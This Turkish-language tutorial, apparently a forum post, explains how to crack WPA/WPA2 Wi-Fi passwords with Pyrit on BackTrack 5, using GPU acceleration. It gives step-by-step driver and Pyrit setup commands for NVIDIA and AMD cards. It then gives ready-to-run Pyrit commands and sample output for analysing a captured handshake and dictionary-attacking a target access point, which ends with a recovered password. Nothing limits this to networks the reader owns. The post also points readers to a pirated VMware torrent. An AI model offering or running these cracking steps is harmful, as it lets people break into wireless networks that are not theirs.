Ancak Cpu Yerine Gpu yani ekran kartımızı kullanarak kırmak çok daha hızlı oluyor.
İntel Pentium G620 ile şifre denem hızı: 1400/s
İntel I7 ise 6500/s
ancak Raedon 5870 ile şifre deneme hızı 35.000/s
Bu En iyi işlemciye göre çok daha hızlı
Yani elimizde iyi bir ekran kartı var ise Wpa Wpa2 şifrelerini kırma olanağımızı yükseltiyor.
Pyrit performansı:
Şimdi Ekran kartımız Ya Amd yada Nvidia dır.
Amd OpenCL Nvidia ise Cuda Çekirdeklerini kullanarak hızına hız katıyor.
Şimdi bizim yapmamız gereken önce Burdan Backtrackın son sürümünü indirmek:
Tıkla
Burdan Backtrack 5 R3 ü seçin
Windows Manager:GNOME
Image Type: Vmware
olacak şekilde indirip PC nizde kurulu olan Vmware (Vmware 7 Full Torrent indir)
açtıktan sonra Ekran kartımız Ne ise ona göre gerekli sürücüleri yüklemek.yoksa Pyrit bizim ekran kartımızı bulamaz.
Not:Bt5 e Vmware toolu kurmalısınız yoksa Bt 5 e Windows üzerinden gelmez.İşlem sırasınta BT5 de internetin olması gerekli.Veya Wirelessinizi bactracka ekleyerek ordanda bağlanabilirsiniz.
Vmware tools u kurmak için menülerden "VM>Install Vmware tools" u seçiyorsunuz
sonra bt5 e arşiv dosya geledektir o dosyayı Home Folder e kopyalıyoruz ve konsoldan Aşağıdaki kodları yazıyorsunuz.
root@bt:~# tar -xf VMwareTools-9.2.0-799703.tar.gz
root@bt:~# cd vmware-tools-distrib
root@bt:~# ./vmware-install.pl
Bundan sonra önünüze çıkan herşeye entere basın taki tamamlandı yazana kadar
Bundan sonra Bt5 arasınra iletişimi kolaylaştırmış olacağız.Dosyalarımız sürükleyerek
atıp veya BT5 den alabiliriz.
Artık İnternet Bağlantımızı Windows üzerinden de alabiliriz
Ekran Kartı Nvidia olanlar için:
Önce CUDA sürücüleri yüklemek için hazırlık yapmamı gerekmekte .Konsolu açıp alttaki kodları yazıp
root@bt:~# prepare-kernel-sources root@bt:~# cd /usr/src/linux root@bt:~# cp -rf include/generated/* include/linux/Bt5 kaç bit ise ona göre aşağıdakilerden birini indirin.
- 32 bit: http://developer.download.nvidia.com/compute/cuda/4_0_rc2/drivers/devdriver_4.0_linux_32_270.40.run
- 64 bit: http://developer.download.nvidia.com/compute/cuda/4_0_rc2/drivers/devdriver_4.0_linux_64_270.40.run
root@bt:~# chmod +x [Sürücü ismi].run
root@bt:~# sh ./[Sürücü ismi].run
Bundan sonra Önünüze pencere açılacaktır fareyi kullanarak kuracaksınız.
Sonra Burdaki sürücülerden Hangisi size uyumlu ise bunuda bir önceki driveri kurduğumuz şekilde kuruyoruz.
- 32 bit: http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/4_0_rc2/toolkit/cudatoolkit_4.0.13_linux_32_ubuntu10.10.run
- 64 bit: http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/4_0_rc2/toolkit/cudatoolkit_4.0.13_linux_64_ubuntu10.10.run
root@bt:~# source /root/.bashrc root@bt:~# ldconfig
root@bt:~# which nvcc root@bt:~# nvcc -V
Artık CUDA sürücülerini yükledik şimdi pyrit in CUDA packini yüklemeye kaldı .Eğer bunları yapmazsak cuda paketi pyrite yüklenirken hata verir.
Konsoldan yazıyoruz...
root@bt:~# svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit root@bt:~# cd pyrit/pyrit && python setup.py build && python setup.py install root@bt:~# cd ../../ root@bt:~# cd pyrit/cpyrit_cuda && python setup.py build && python setup.py install
Artık Cuda paketinie güzelce kurduk şimdi Kullanması kalıyor.
Konsoldan Aşağıdaki kodu yazarak PC deki ekran kartlarını ve işlemcileri listeleyecektir.
root@bt:~# pyrit benchmark Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Running benchmark (34110.8 PMKs/s)... \ Computed 63787.82 PMKs/s total. #1: 'CUDA-Device #1 'GeForce GTX 295: 11558.7 PMKs/s (RTT 3.0) #2: 'CUDA-Device #2 'GeForce GTX 295: 10912.5 PMKs/s (RTT 2.9) #3: 'CUDA-Device #3 'GeForce GTX 295: 10632.1 PMKs/s (RTT 3.0) #4: 'CPU-Core (SSE2)': 500.7 PMKs/s (RTT 2.7) #5: 'CPU-Core (SSE2)': 508.9 PMKs/s (RTT 2.8)
Ekran Kartı AMD olanlar için:
- Önce Sistemimizü güncellememiz gerekmekte yoksa OpenCL yi yükleyemeyiz.
- İnternet etişimimiz olduğu için Alttaki kodları yazalım.
root@bt:~# apt-get update && apt-get upgrade
Bu kod ile Yüklemeye Hazırlayalım.
root@bt:~# prepare-kernel-sources root@bt:~# cd /usr/src/linux root@bt:~# cp -rf include/generated/* include/linux/
- Bunun ilk satırını yazdıktan sonra internetten indirmeye başlayacaktır indirme bitince son 3 koduda yazıp önünüze çıkan pencereyle kuracaksınız.Yükledikten sonra Aşağıdaki resimdeki gibi ekran kartımızı görebiliyor olmamız gerekmekte.
root@bt:~# wget http://www2.ati.com/drivers/linux/ati-driver-installer-11-9-x86.x86_64.run root@bt:~# chmod +x ati-driver-installer-11-9-x86.x86_64.run root@bt:~# ./ati-driver-installer-11-9-x86.x86_64.run root@bt:~# reboot
- Artık OpenCL nin Amd Acelleration Paralel Processing (APP) Yi yükleyeceğiz. Sisteminize Göre yükleyin
root@bt:~# wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.5-lnx32.tgz root@bt:~# tar -xvzf AMD-APP-SDK-v2.5-lnx32.tgz root@bt:~# ./Install-AMD-APP.sh64 bit:
root@bt:~# wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.5-lnx64.tgz root@bt:~# tar -xvzf AMD-APP-SDK-v2.5-lnx64.tgz root@bt:~# ./Install-AMD-APP.sh
- Şimdid cmake ve cmake++ Derleyicilerin kütüphanelerini yükleyeceğiz.
root@bt:~# apt-get install libroot-python-dev libboost-python-dev zlib1g-dev libssl-dev cmake libboost1.40-all-dev
Sonra cmake++ Yükleme klasörünü ATI sürücünün bulunduğu klasöre yükleyeceğiz.Aşağıdaki kodları yazalım:
root@bt:~# echo "ATISTREAMSDKROOT=/opt/AMDAPP root@bt:~# export ATISTREAMSDKROOT" >> ~/.bashrc root@bt:~# source ~/.bashrcArtık İnternetten cmake++ yı indirip yükleyeceğiz.Resimdeki gibi sonuç çıkacaktır:
root@bt:~# svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp root@bt:~# cd calpp/trunk root@bt:~# cmake .
root@bt:~# make root@bt:~# make install
- Artık İnternetten İndirip cpyrit_opencl yi yükleyeceğiz..
root@bt:~# svn checkout http://pyrit.googlecode.com/svn/trunk/ /tmp/pyrit root@bt:~# cd /tmp/pyrit/pyrit && python setup.py build && python setup.py install root@bt:~# cd /tmp/pyrit/cpyrit_opencl && python setup.py build && python setup.py install
- Pyriti test Edelim.
root@bt:~# pyrit list_cores root@bt:~# pyrit benchmark
PYRİT ile Crack
Artık Pyrit ile airodump-ng ile yakaladığımız handshakeli .cap dosyasını kıracağız.
Paket Analizi
Yakaladığımız handshakeli dosyayı paket isimini yazarak analiz edelimroot@bt:~# pyrit -r [Paket ismi].cap analyzeAşağıdaki kodlar yazacaktır.:
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com This code is distributed under the GNU General Public License v3+ Parsing file 'wpapsk-linksys.dump.gz' (1/1)... 587 packets (587 802.11-packets), 1 APs #1: AccessPoint 00:0b:86:c2:a4:85 ('linksys') #0: Station 00:13:ce:55:98:ef, handshake found #1: Station 01:00:5e:7f:ff:fa #2: Station 01:00:5e:00:00:16
Dosyadaki ağları bulduk şimdi kırma sırasında.
root@bt:~# pyrit -r [Paket ismi].cap -i Wordlist.txt -b [Modemin Mac Adresi] attack_passthrough
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'wpapsk-linksys.dump.gz' (1/1)...
587 packets (587 802.11-packets), 1 APs
Tried 4091 PMKs so far; 26.935 PMKs per second.
The password is 'dictionary'.
Not:Eğer wordlistiniz yoksa burdan wordlist nasıl oluşturulduğunu öğrenebilir veya hiç wordlist
oluşturmadan gerçek zamanda şifre üretip wordlistde gerek kalmadan deneyebilirsiniz.Burdaki linkten
Crunch kullanıımını görebilirsiniz
Artık Kırma işlemi başladı.Kolay gelsin...